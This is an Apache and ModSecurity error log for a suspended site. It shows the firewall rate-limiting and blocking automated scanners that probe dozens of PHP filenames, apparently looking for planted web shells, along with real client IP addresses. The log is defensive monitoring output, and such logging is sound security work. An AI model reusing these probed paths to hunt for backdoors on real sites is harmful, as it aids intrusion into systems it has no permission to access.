[Fri Apr 24 05:25:29.170624 2026] [:error] [pid 19200:tid 19221] [client 20.216.186.228:47941] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aeqOSTQ--M3-tsKAnhGJWAAAAM0"]
[Fri Apr 24 05:25:30.124698 2026] [:error] [pid 19101:tid 19143] [client 20.216.186.228:10003] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fsjzs.php"] [unique_id "aeqOSmAHj9bEvrTgbO3DtwAAAEY"]
[Fri Apr 24 05:25:31.157566 2026] [:error] [pid 19200:tid 19228] [client 20.216.186.228:62817] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fsjzs.php"] [unique_id "aeqOSzQ--M3-tsKAnhGJXgAAANQ"]
[Fri Apr 24 05:25:31.969685 2026] [:error] [pid 52129:tid 52152] [client 20.216.186.228:62485] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fsjzs.php"] [unique_id "aeqOS-KCZKf8_u2LKiBDvgAAARM"]
[Fri Apr 24 05:25:32.769607 2026] [:error] [pid 19200:tid 19215] [client 20.216.186.228:10024] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fsjzs.php"] [unique_id "aeqOTDQ--M3-tsKAnhGJYQAAAMc"]
[Fri Apr 24 05:25:33.791883 2026] [:error] [pid 19101:tid 19145] [client 20.216.186.228:59889] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cwclass.php"] [unique_id "aeqOTWAHj9bEvrTgbO3DugAAAEg"]
[Fri Apr 24 05:25:34.570620 2026] [:error] [pid 19200:tid 19228] [client 20.216.186.228:9254] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cwclass.php"] [unique_id "aeqOTjQ--M3-tsKAnhGJaAAAANQ"]
[Fri Apr 24 05:25:35.658485 2026] [:error] [pid 19102:tid 19182] [client 20.216.186.228:58969] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cwclass.php"] [unique_id "aeqOTwDSgrbLEZbkqD6xUAAAAJI"]
[Fri Apr 24 05:25:36.781425 2026] [:error] [pid 19101:tid 19150] [client 20.216.186.228:9242] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cwclass.php"] [unique_id "aeqOUGAHj9bEvrTgbO3DwgAAAE0"]
[Fri Apr 24 05:25:38.399311 2026] [:error] [pid 19101:tid 19137] [client 20.216.186.228:62527] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aeqOUmAHj9bEvrTgbO3DyAAAAEA"]
[Fri Apr 24 05:25:39.899874 2026] [:error] [pid 19100:tid 19115] [client 20.216.186.228:10007] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aeqOU7F_hzQs4Cqbiff-rgAAAAY"]
[Fri Apr 24 05:25:41.349942 2026] [:error] [pid 52129:tid 52143] [client 20.216.186.228:51279] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aeqOVeKCZKf8_u2LKiBDxAAAAQo"]
[Fri Apr 24 05:25:42.297953 2026] [:error] [pid 19200:tid 19220] [client 20.216.186.228:62496] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "aeqOVjQ--M3-tsKAnhGJdgAAAMw"]
[Fri Apr 24 05:25:43.928077 2026] [:error] [pid 19101:tid 19143] [client 20.216.186.228:57605] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/atomlib.php"] [unique_id "aeqOV2AHj9bEvrTgbO3DzgAAAEY"]
[Fri Apr 24 05:25:45.862799 2026] [:error] [pid 19101:tid 19137] [client 20.216.186.228:62815] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/atomlib.php"] [unique_id "aeqOWWAHj9bEvrTgbO3D0QAAAEA"]
[Fri Apr 24 05:25:48.711448 2026] [:error] [pid 19100:tid 19119] [client 20.216.186.228:53356] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Fri Apr 24 05:25:48.951010 2026] [:error] [pid 19100:tid 19129] [client 20.216.186.228:53356] File does not exist: /usr/local/apache/htdocs/suspended-page/zoper1.php
[Fri Apr 24 05:25:49.191139 2026] [:error] [pid 19100:tid 19131] [client 20.216.186.228:53356] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Fri Apr 24 05:25:49.430776 2026] [:error] [pid 19100:tid 19122] [client 20.216.186.228:53356] File does not exist: /usr/local/apache/htdocs/suspended-page/ai.php
[Fri Apr 24 05:25:50.652328 2026] [:error] [pid 19100:tid 19122] [client 20.216.186.228:53356] File does not exist: /usr/local/apache/htdocs/suspended-page/jga.php
[Fri Apr 24 07:40:50.121811 2026] [:error] [pid 19100:tid 19112] [client 20.215.253.96:16529] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-post-data.php
[Fri Apr 24 07:40:50.391818 2026] [:error] [pid 19100:tid 19114] [client 20.215.253.96:16529] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Fri Apr 24 07:40:50.657954 2026] [:error] [pid 19100:tid 19130] [client 20.215.253.96:16529] File does not exist: /usr/local/apache/htdocs/suspended-page/1index.php
[Fri Apr 24 07:40:50.921364 2026] [:error] [pid 19100:tid 19125] [client 20.215.253.96:16529] File does not exist: /usr/local/apache/htdocs/suspended-page/kcs.php
[Fri Apr 24 07:40:51.183867 2026] [:error] [pid 19100:tid 19127] [client 20.215.253.96:16529] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Fri Apr 24 07:40:51.447995 2026] [:error] [pid 19100:tid 19131] [client 20.215.253.96:16529] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Fri Apr 24 07:40:51.710721 2026] [:error] [pid 19100:tid 19115] [client 20.215.253.96:16529] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Fri Apr 24 10:32:05.874128 2026] [:error] [pid 17808:tid 17832] [client 194.26.192.182:59900] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aerWJearbOEFI8qshvI8KQAAAFY"]
[Fri Apr 24 10:32:06.382068 2026] [:error] [pid 17721:tid 17793] [client 194.26.192.182:60200] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aerWJuFXXkLeyDnfk_97BQAAAAw"]
[Fri Apr 24 10:32:06.887387 2026] [:error] [pid 17721:tid 17785] [client 194.26.192.182:60489] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aerWJuFXXkLeyDnfk_97LAAAAAQ"]
[Fri Apr 24 10:32:07.401568 2026] [:error] [pid 17808:tid 17813] [client 194.26.192.182:60913] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aerWJ-arbOEFI8qshvI8fQAAAEM"]
[Fri Apr 24 10:32:07.924392 2026] [:error] [pid 22114:tid 22134] [client 194.26.192.182:61324] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aerWJ4AuWGz3WlMQjodqXwAAARE"]
[Fri Apr 24 17:58:37.734147 2026] [:error] [pid 22114:tid 22128] [client 34.58.239.158:59414] [client 34.58.239.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aes-zYAuWGz3WlMQjofRaQAAAQs"]
[Fri Apr 24 17:58:38.292415 2026] [:error] [pid 17808:tid 17834] [client 34.58.239.158:52600] [client 34.58.239.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aes-zuarbOEFI8qshvL7TAAAAFg"]
[Fri Apr 24 19:59:24.592743 2026] [:error] [pid 14531:tid 14551] [client 145.82.80.60:54822] [client 145.82.80.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 145.82.80.60, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aetbHHfLU2gw-6KR-Ga9bgAAAVI"]
[Fri Apr 24 19:59:24.600290 2026] [:error] [pid 14531:tid 14551] [client 145.82.80.60:54822] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri Apr 24 20:24:09.725366 2026] [:error] [pid 4177:tid 4197] [client 68.221.135.180:7248] File does not exist: /usr/local/apache/htdocs/suspended-page/G-In.php
[Fri Apr 24 20:24:09.969518 2026] [:error] [pid 4177:tid 4189] [client 68.221.135.180:7248] File does not exist: /usr/local/apache/htdocs/suspended-page/ox.php
[Fri Apr 24 20:24:10.213164 2026] [:error] [pid 4177:tid 4199] [client 68.221.135.180:7248] File does not exist: /usr/local/apache/htdocs/suspended-page/htto.php
[Fri Apr 24 20:24:10.480662 2026] [:error] [pid 4177:tid 4205] [client 68.221.135.180:7248] File does not exist: /usr/local/apache/htdocs/suspended-page/gpt-sh.php
[Fri Apr 24 20:24:10.748715 2026] [:error] [pid 4177:tid 4201] [client 68.221.135.180:7248] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Fri Apr 24 20:24:11.003929 2026] [:error] [pid 4177:tid 4200] [client 68.221.135.180:7248] File does not exist: /usr/local/apache/htdocs/suspended-page/aevly.php
[Fri Apr 24 20:24:11.275942 2026] [:error] [pid 4177:tid 4191] [client 68.221.135.180:7248] File does not exist: /usr/local/apache/htdocs/suspended-page/ta0ol.php
[Fri Apr 24 20:24:11.520141 2026] [:error] [pid 4177:tid 4198] [client 68.221.135.180:7248] File does not exist: /usr/local/apache/htdocs/suspended-page/aligk.php
[Fri Apr 24 20:24:11.788763 2026] [:error] [pid 4177:tid 4195] [client 68.221.135.180:7248] File does not exist: /usr/local/apache/htdocs/suspended-page/users.php
[Fri Apr 24 20:24:12.287295 2026] [:error] [pid 4177:tid 4205] [client 68.221.135.180:7248] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aetg7H2asKnvdrSe0x4AGwAAAZQ"]
[Fri Apr 24 20:24:13.810871 2026] [:error] [pid 14531:tid 14542] [client 68.221.135.180:15445] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aetg7XfLU2gw-6KR-GbC1AAAAUk"]
[Fri Apr 24 20:24:16.182376 2026] [:error] [pid 17720:tid 17758] [client 68.221.135.180:17196] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aetg8OhlUs6BS3Ng7_WcJAAAAMQ"]
[Fri Apr 24 20:24:19.273900 2026] [:error] [pid 17720:tid 17778] [client 68.221.135.180:9409] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aetg8-hlUs6BS3Ng7_WcKAAAANg"]
[Fri Apr 24 20:24:22.228753 2026] [:error] [pid 17720:tid 17755] [client 68.221.135.180:57055] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aetg9uhlUs6BS3Ng7_WcKgAAAME"]
[Fri Apr 24 20:24:23.393055 2026] [:error] [pid 17721:tid 17782] [client 68.221.135.180:15434] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aetg9-FXXkLeyDnfk_82PwAAAAE"]
[Fri Apr 24 20:24:27.316891 2026] [:error] [pid 17720:tid 17768] [client 68.221.135.180:17180] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aetg--hlUs6BS3Ng7_WcMgAAAM4"]
[Fri Apr 24 20:24:29.006114 2026] [:error] [pid 14531:tid 14535] [client 68.221.135.180:6077] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aetg_XfLU2gw-6KR-GbC6gAAAUI"]
[Fri Apr 24 20:24:30.659725 2026] [:error] [pid 17719:tid 17744] [client 68.221.135.180:59531] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "aetg_sTZ9gzEyL1BkPqmagAAAJE"]
[Fri Apr 24 20:24:35.390203 2026] [:error] [pid 17719:tid 17747] [client 68.221.135.180:8015] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "aethA8TZ9gzEyL1BkPqmcAAAAJQ"]
[Fri Apr 24 20:24:36.994306 2026] [:error] [pid 14531:tid 14547] [client 68.221.135.180:15438] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "aethBHfLU2gw-6KR-GbC8QAAAU4"]
[Fri Apr 24 20:24:41.527312 2026] [:error] [pid 17808:tid 17828] [client 68.221.135.180:57028] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "aethCearbOEFI8qshvIwCQAAAFI"]
[Fri Apr 24 20:24:43.165318 2026] [:error] [pid 17720:tid 17773] [client 68.221.135.180:5791] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aethC-hlUs6BS3Ng7_WcXAAAANM"]
[Fri Apr 24 20:24:44.365569 2026] [:error] [pid 14531:tid 14554] [client 68.221.135.180:59559] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aethDHfLU2gw-6KR-GbC-wAAAVU"]
[Fri Apr 24 20:24:46.256376 2026] [:error] [pid 17720:tid 17758] [client 68.221.135.180:21093] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aethDuhlUs6BS3Ng7_WcZAAAAMQ"]
[Fri Apr 24 20:24:47.670294 2026] [:error] [pid 4177:tid 4209] [client 68.221.135.180:7286] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aethD32asKnvdrSe0x4AigAAAZg"]
[Fri Apr 24 20:24:49.181812 2026] [:error] [pid 17720:tid 17766] [client 68.221.135.180:57024] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aethEehlUs6BS3Ng7_WcagAAAMw"]
[Fri Apr 24 20:24:50.132826 2026] [:error] [pid 17808:tid 17823] [client 68.221.135.180:9459] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aethEuarbOEFI8qshvIwFAAAAE0"]
[Fri Apr 24 20:24:53.046071 2026] [:error] [pid 4177:tid 4198] [client 68.221.135.180:5458] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aethFX2asKnvdrSe0x4AlQAAAY0"]
[Fri Apr 24 20:24:55.534809 2026] [:error] [pid 17720:tid 17756] [client 68.221.135.180:15466] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aethF-hlUs6BS3Ng7_WcbwAAAMI"]
[Fri Apr 24 20:24:56.298151 2026] [:error] [pid 17721:tid 17789] [client 68.221.135.180:21102] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aethGOFXXkLeyDnfk_82VwAAAAg"]
[Fri Apr 24 20:24:58.148294 2026] [:error] [pid 4177:tid 4200] [client 68.221.135.180:9418] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aethGn2asKnvdrSe0x4AngAAAY8"]
[Fri Apr 24 20:24:59.656417 2026] [:error] [pid 4177:tid 4194] [client 68.221.135.180:8049] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aethG32asKnvdrSe0x4AowAAAYk"]
[Fri Apr 24 20:25:02.442534 2026] [:error] [pid 4177:tid 4202] [client 68.221.135.180:9458] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aethHn2asKnvdrSe0x4AqQAAAZE"]
[Fri Apr 24 20:25:06.072276 2026] [:error] [pid 17808:tid 17828] [client 68.221.135.180:57052] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aethIuarbOEFI8qshvIwMQAAAFI"]
